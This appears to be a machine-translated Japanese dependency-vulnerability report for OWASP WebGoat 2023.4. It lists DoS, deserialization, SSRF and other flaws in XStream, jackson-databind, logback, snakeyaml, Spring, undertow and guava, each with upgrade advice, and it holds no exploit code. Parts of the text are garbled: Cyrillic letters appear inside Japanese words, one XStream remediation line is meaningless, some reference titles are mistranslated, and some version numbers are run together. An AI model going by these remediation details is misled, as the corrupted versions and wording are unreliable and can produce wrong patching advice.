よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰まらせようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU / メモリ 消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws](#) パッケージ

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、サービス拒否 (DoS) 攻撃に対して脆弱です。パーサーがユーザーからの入力に基づいて実行されている場合、攻撃者はスタックオーバーフローによってパーサーをクラッシュさせるようなコンテンツを入力する可能性があります。

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトрафィックを生成してシステムへのネットワーク バイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.20 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubの問題](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンには、サービス拒否 (DoS) の脆弱性があります。攻撃者は、処理済みの入力ストリームをアンマーシャリング時に操作し、オブジェクトの置換または挿入を行う可能性があります。これにより、再帰ハッシュセットの計算時にスタックオーバーフローが発生し、サービス拒否が発生する可能性があります。

### 回避策

この脆弱性の影響は、呼び出し元のアプリケーションで StackOverflowError をキャッチすることで回避できます。

概念実証

シンプルなHashSetを作成し、XStreamを使用してXMLに変換します。XMLを以下のコードに置き換え、XStreamでアンマーシャリングします。

詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の1つにDDoS(分散型サービス拒否)があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワークパイプを詰ませようとする攻撃です。

オープンソース ライブドリルの場合、DoS 弱陥性により、攻撃者はアプリケーション コードまたはオープンソース ライブドリルの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

#### DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例：[commons-fileupload](#):[commons-fileupload](#)
  - クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws](#)パッケージ

修復

com.thoughtworks.xstream:xstream をバージョン 1.4.20 以上にアップグレードします

参考文献

- GitHubコミット
  - XStreamアドバイザリ

この脆弱性の詳細

中程度の深刻度

#### 安全でないXMLデシリアルライゼーション

- パッケージ マネージャー: maven
  - 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
  - org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

## 詳細なパス

- 道入元: org.owasp.webgoat:webgoat@2023.4\com.thoughtworks.xstream\xstream@1.4.5

概要

オブジェクトを XML に変換したり、その逆を行なう、パルセーラー(解析器)です。

このパッケージの影響を受けるバージョンは、安全でないXMLデシリアルайゼーションの脆弱性を有しています。これにより、ユーザーが指定した任意のXMLコンテンツ（あらゆる型のオブジェクトを表す）がデシリアル化される可能性があります。XStreamにXMLを渡すことができるリモート攻撃者は、この脆弱性を利用して、XStreamアプリケーションを実行しているサーバーのコンテキストでリモートコード実行など、様々な攻撃を実行する可能性があります。

修復

第1回～第4回：アーヴィング・ワーズワース、147-1411以上(コラボレーション)、以降

参考文献

- ディニス・クルスのブログ
  - エクスプロイトDB
  - 魚眼レンズ
  - GitHubコミット

- [RedHat Bugzilla バグ](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.fasterxml.jackson.core:jackson-databind 導入元:
- org.owasp.webgoat:webgoat@2023.4.io.jsonwebtoken:jjwt@0.9.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4.io.jsonwebtoken:jjwt@0.9.1.com.fasterxml.jackson.core:jackson-databind@2.13.3

### 概要

[com.fasterxml.jackson.core:jackson-databind](#) Jackson Data Processor 用の汎用データ バインディング機能とツリー モデルを含むライブラリです。

このパッケージの影響を受けるバージョンは、深くネストされた配列を処理するときに、 BeanDeserializer枯渇の \_deserializeFromArray() 関数でサービス拒否 (DoS) に対して脆弱 リソースによるです。

注意: この脆弱性を悪用するには、デフォルト以外のDeserializationFeature を有効にする必要があります。

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク バイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: commons-fileupload:commons-fileupload。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、 [npm ws/パッケージ](#)

### 修復

com.fasterxml.jackson.core:jackson-databind をバージョン 2.12.7.1.2.13.4 以上にアップグレードします。

### 参考文献

- [Chromiumのバグ](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubの問題](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.fasterxml.jackson.core:jackson-databind 導入元:
- org.owasp.webgoat:webgoat@2023.4.io.jsonwebtoken:jjwt@0.9.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4.io.jsonwebtoken:jjwt@0.9.1.com.fasterxml.jackson.core:jackson-databind@2.13.3

### 概要

[com.fasterxml.jackson.core:jackson-databind](#) Jackson Data の汎用データ バインディング機能とツリー モデルを含むライブラリです。  
プロセッサ。

このパッケージの影響を受けるバージョンは、深くネストされた配列を処理するときに StdDeserializer.java リソースが枯渇する \_deserializeWrappedValue() 関数で、サービス拒否 (DoS) に より対して脆弱です。

注意: この脆弱性は、デフォルト以外のUNWRAP\_SINGLE\_VALUE\_ARRAYS 機能が有効になっている場合にのみ適用可能です。

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の1つにDDoS(分散型サービス拒否)があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワークパイプを詰ませようとする攻撃です。

オープンソースライブラリの場合、DoS脆弱性により、攻撃者はアプリケーションコードまたはオープンソースライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS脆弱性の一般的な2つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: commons-fileupload:commons-fileupload。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、npm wsパッケージ

## 修復

com.fasterxml.jackson.core:jackson-databindをバージョン2.12.7.1, 2.13.4.1以上にアップグレードします。

## 参考文献

- [Chromiumのバグ](#)
- [ドキュメント](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubの問題](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できる変数またはデータストアの外部初期化

- パッケージマネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-core 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-validation@2.7.1 > org.springframework.boot:spring-boot-starter @2.7.1 > org.springframework.boot:spring-boot-starter-logging@2.7.1 > ch.qos.logback:logback-classic@1.2.11 > ch.qos.logback:logback-core@1.2.11

## 概要

[ch.qos.logback:logback-core](#) logback-core モジュールです。

このパッケージの影響を受けるバージョンは、条件付き処理による信頼された変数またはデータストアの外部初期化に対して脆弱です。

JaninoライブラリとSpring Frameworkの両方がクラスパスに存在する場合、logback.xml設定ファイルで問題が発生します。攻撃者は、既存の設定ファイルを侵害するか、プログラム実行前に悪意のある環境変数を挿入することで、任意のコードを実行できます。これは、攻撃者が設定ファイルへの書き込み権限を持っているか、悪意のある環境変数を設定できる場合にのみ悪用可能です。

## 修復

ch.qos.logback:logback-coreをバージョン1.5.19以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [リリースノート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 特殊元素の不適切な中和

- パッケージマネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-core 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-validation@2.7.1 > org.springframework.boot:spring-boot-starter @2.7.1 > org.springframework.boot:spring-boot-starter-logging@2.7.1 > ch.qos.logback:logback-classic@1.2.11 > ch.qos.logback:logback-core@1.2.11

## 概要

[ch.qos.logback:logback-core](#) logback-core モジュールです。

このパッケージの影響を受けるバージョンは、JaninoEventEvaluator拡張機能を介した特殊要素の不適切な中和に対して脆弱です。攻撃者は、既存のlogback設定ファイルを侵害するか、プログラム実行前に環境変数を挿入することで、任意のコードを実行する可能性があります。

## 修復

ch.qos.logback:logback-coreをバージョン 1.3.15、1.5.13 以上にアップグレードします。

## 参考文献

- [追加情報](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [リリースノート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 特殊元素の不適切な中和

- パッケージ マネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-classic 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1, org.springframework.boot:spring-boot-starter@2.7.1, org.springframework.boot:spring-boot-starter-logging@2.7.1, ch.qos.logback:logback-classic@1.2.11

### 概要

[ch.qos.logback:logback-classic](#)は、信頼性が高く、汎用的で、高速かつ柔軟な Java 用ログ ライブリです。

このパッケージの影響を受けるバージョンは、JaninoEventEvaluator拡張機能を介した特殊要素の不適切な中和に対して脆弱です。攻撃者は、既存のlogback設定ファイルを侵害するか、プログラム実行前に環境変数を挿入することで、任意のコードを実行する可能性があります。

### 修復

ch.qos.logback:logback-classicをバージョン 1.3.15、1.5.13 以上にアップグレードします。

## 参考文献

- [追加情報](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [リリースノート](#)

[この脆弱性の詳細](#)

低重症度

## スタックベースのバッファオーバーフロー

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.yaml:snakeyaml 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1, org.springframework.boot:spring-boot-starter@2.7.1, org.yaml:snakeyaml@1.30

### 概要

[org.yaml:snakeyaml](#)は、Java 用の YAML 1.1 パーサーおよびエミッターです。

このパッケージの影響を受けるバージョンは、細工された信頼できない YAML ファイルを解析するときにスタックベースのバッファ オーバーフローに対して脆弱であり、サービス拒否につながる可能性があります。

### 修復

org.yaml:snakeyaml をバージョン 1.32 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [Bitbucket の問題と PoC](#)
- [Chromiumのバグ](#)

[この脆弱性の詳細](#)

低重症度

## スタックベースのバッファオーバーフロー

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.yaml:snakeyaml 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-validation@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-validation@2.7.1,org.springframework.boot:spring-boot-starter@2.7.1,org.yaml:snakeyaml@1.30

## 概要

[org.yaml:snakeyaml](#)は、Java 用の YAML 1.1 パーサーおよびエミッターです。

このパッケージの影響を受けるバージョンは、細工された信頼できない YAML ファイルを解析するときに、org.yaml.snakeyaml.constructor.BaseConstructor.constructObject のスタックベースのバッファ オーバーフローに対して脆弱であり、サービス拒否につながる可能性があります。

## 修復

org.yaml:snakeyaml をバージョン 1.31 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [Bitbucketの問題](#)
- [Chromiumのバグ](#)

[この脆弱性の詳細](#)

低重症度

## スタックベースのバッファオーバーフロー

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.yaml:snakeyaml 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-validation@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-validation@2.7.1,org.springframework.boot:spring-boot-starter@2.7.1,org.yaml:snakeyaml@1.30

## 概要

[org.yaml:snakeyaml](#)は、Java 用の YAML 1.1 パーサーおよびエミッターです。

このパッケージの影響を受けるバージョンは、受信データに対する不適切な制限により、信頼できない入力が提供された場合にスタックベースのバッファ オーバーフローに対して脆弱です。

## 修復

org.yaml:snakeyaml をバージョン 1.32 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [Chromiumのバグ](#)

[この脆弱性の詳細](#)

低重症度

## 大文字と小文字の区別の不適切な処理

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-webmvc 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1,org.springframework:spring-webmvc@5.3.21

## 概要

[org.springframework:spring-webmvc](#)柔軟で疎結合な Web アプリケーションの開発に使用できるモデル - ビュー - コントローラ (MVC) アーキテクチャとすぐに使用できるコンポーネントを提供するパッケージです。

このパッケージの影響を受けるバージョンは、String.toLowerCase() にロケールに依存する例外がいくつかあり、その結果フィールドが期待どおりに保護されない可能性があるため、大文字と小文字の区別が不適切に処理される脆弱性があります。

注記：

[CVE-2022-22968](#)の修正 DataBinder の disallowedFields パターンで大文字と小文字を区別しないようにしました。

この脆弱性は、商用バージョン 5.3.41 および 6.0.25 でも修正されています。

## 修復

org.springframework:spring-webmvcをバージョン 6.1.14 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

低重症度

## 大文字と小文字の区別の不適切な処理

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-web 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-web@2.7.1 > org.springframework:spring-web@5.3.21

## 概要

[org.springframework:spring-web](#)あらゆる種類のデプロイメント プラットフォーム上で、最新の Java ベースのエンタープライズ アプリケーションに包括的なプログラミングおよび構成モデルを提供するパッケージです。

このパッケージの影響を受けるバージョンは、String.toLowerCase()にロケールに依存する例外がいくつかあり、その結果フィールドが期待どおりに保護されない可能性があるため、大文字と小文字の区別が不適切に処理される脆弱性があります。

注記：

[CVE-2022-22968](#)の修正DataBinder のdisallowedFields パターンで大文字と小文字を区別しないようにしました。

この脆弱性は、商用バージョン 5.3.41 および 6.0.25 でも修正されています。

## 修復

org.springframework:spring-webをバージョン 6.1.14 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

低重症度

## 大文字と小文字の区別の不適切な処理

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-core 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-test@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-test@2.7.1 > org.springframework:spring-core@5.3.21

## 概要

[org.springframework:spring-core](#)複数のクラスとユーティリティを含む、Spring フレームワーク内のコア パッケージです。

このパッケージの影響を受けるバージョンは、String.toLowerCase()にロケールに依存する例外がいくつかあり、その結果フィールドが期待どおりに保護されない可能性があるため、大文字と小文字の区別が不適切に処理される脆弱性があります。

注記：

[CVE-2022-22968](#)の修正DataBinder のdisallowedFields パターンで大文字と小文字を区別しないようにしました。

この脆弱性は、商用バージョン 5.3.41 および 6.0.25 でも修正されています。

## 修復

org.springframework:spring-coreをバージョン 6.1.14 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

低重症度

## 大文字と小文字の区別の不適切な処理

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-context 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-web@2.7.1 > org.springframework:spring-webmvc@5.3.21 > org.springframework:spring-context@5.3.21

### 概要

このパッケージの影響を受けるバージョンは、String.toLowerCase()にロケールに依存する例外がいくつかあり、その結果フィールドが期待どおりに保護されない可能性があるため、大文字と小文字の区別が不適切に処理される脆弱性があります。

注記：

[CVE-2022-22968](#)の修正DataBinder のdisallowedFields パターンで大文字と小文字を区別しないようにしました。

この脆弱性は、商用バージョン 5.3.41 および 6.0.25 でも修正されています。

### 修復

org.springframework:spring-context をバージョン 6.1.14 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

低重症度

## メモリリーク

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-undertow@2.7.1 などを通じて導入されました

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

### 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、learning-pushハンドラのmaxAgeがデフォルトの-1に設定されている場合、メモリリークの脆弱性があります。通常のHTTPリクエストを送信できる攻撃者は、過剰なメモリを消費する可能性があります。

### 回避策

この脆弱性は、maxAgeの値を-1以外に設定することで回避できます。

### 修復

io.undertow:undertow-core をバージョン 2.2.37.Final, 2.3.18.Final 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)
- [Red Hat セキュリティアドバイザリ](#)
- [脆弱なコード](#)

[この脆弱性の詳細](#)

低重症度

## 安全でない権限を持つディレクトリに一時ファイルを作成する

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.google.guava:guava 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.google.guava:guava@30.1-jre

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, com.google.guava:guava@30.1-jre

## 概要

[com.google.guava:グアバ新しいコレクション型](#) (マルチマップやマルチセットなど)、不変コレクション、グラフ ライブラリ、関数型、メモリ内キャッシュなどを含むコア ライブラリのセットです。

このパッケージの影響を受けるバージョンは、FileBackedOutputStreamにおけるファイル作成に Java のデフォルトの一時ディレクトリを使用しているため、安全でない権限を持つディレクトリに一時ファイルを作成する脆弱性があります。このクラスによって作成されたファイルには、Java のデフォルトの一時ディレクトリにアクセスできるマシン上の他のユーザーやアプリからアクセスできます。これは、[CVE-2020-8908](#)で説明されている根本的な問題により完全に対処しています。許容的な一時ファイル作成動作を非推奨にします。

注意:セキュリティの脆弱性はバージョン 32.0.0 で修正されていますが、バージョン 32.0.0 では Windows の一部の機能が動作しなくなるため、メンテナーはバージョン 32.0.1 の使用を推奨しています。

## 修復

com.google.guava:guava をバージョン 32.0.0-android, 32.0.0-jre 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHubの問題](#)
- [GitHubリリース](#)

[この脆弱性の詳細](#)

低重症度

## サーバーサイドリクエストフォージェリ (SSRF)

- パッケージ マネージャー: maven
- 脆弱なモジュール: ch.qos.logback:logback-core 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1, org.springframework.boot:spring-boot-starter@2.7.1, org.springframework.boot:spring-boot-starter-logging@2.7.1, ch.qos.logback:logback-classic@1.2.11, ch.qos.logback:logback-core@1.2.11

## 概要

[ch.qos.logback:logback-core](#) logback-core モジュールです。

このパッケージの影響を受けるバージョンは、SaxEventRecorderプロセスを介してサーバーサイドリクエストフォージェリ (SSRF) の脆弱性を有します。攻撃者は XML 形式の logback 設定ファイルを侵害することでリクエストを偽造できます。

## 修復

ch.qos.logback:logback-core をバージョン 1.3.15, 1.5.13 以上にアップグレードします。

## 参考文献

- [追加情報](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [リリースノート](#)

[この脆弱性の詳細](#)